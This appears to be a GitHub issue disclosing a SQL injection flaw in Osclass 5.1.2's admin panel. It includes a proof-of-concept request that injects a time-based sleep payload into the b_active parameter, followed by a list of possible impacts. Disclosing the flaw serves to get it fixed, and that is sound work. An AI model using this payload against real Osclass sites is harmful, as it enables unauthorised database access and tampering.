Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Osclass 5.1.2 has a SQL Injection Vulnerability #495

Closed
Hebing123 opened this issue Feb 19, 2024 · 0 comments
Closed

Osclass 5.1.2 has a SQL Injection Vulnerability #495

Hebing123 opened this issue Feb 19, 2024 · 0 comments
Labels

Comments

@Hebing123
Copy link

Hebing123 commented Feb 19, 2024

Summary

Osclass 5.1.2 has a SQL Injection Vulnerability.

Details

An attacker with administrator rights can execute commands through SQL injection.

Proof of Concept (POC)

GET /oc-admin/index.php?b_active=(select(0)from(select(sleep(4)))v)&b_enabled=0&b_premium=1&b_spam=1&catId=10&city=San%20Francisco&cityId=San%20Francisco&countryId=USA&countryName=hebing123&direction=desc&iDisplayLength=10&page=items&region=NY&regionId=NY&sSearch=the&sort=date&user=hebing123&userId=hebing123 HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: osclass=b44r3de2iae3vmvm8at026v7vu; 54f78354eccc6e15622d3aaeccf02ca2=oc_adminId._.oc_adminSecret._.oc_adminLocale._.listing_iDisplayLength%261._.v5qMg6iJ._.en_US._.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: 192.168.160.147
Connection: Keep-alive

image

image

Impact

  1. Leakage of user privacy informationstored in the database;
  2. Tamper with some web pages byoperating the database;
  3. modify the value of some fieldsin the database, embed the network horse link, and mount the horse attack;
  4. the database server was maliciouslyoperated, the system administrator account was tampered with;
  5. the database server providesoperating system support, so that hackers can modify or control the operating system.
@Hebing123 Hebing123 added the bug label Feb 19, 2024
navjottomer added a commit that referenced this issue Apr 16, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants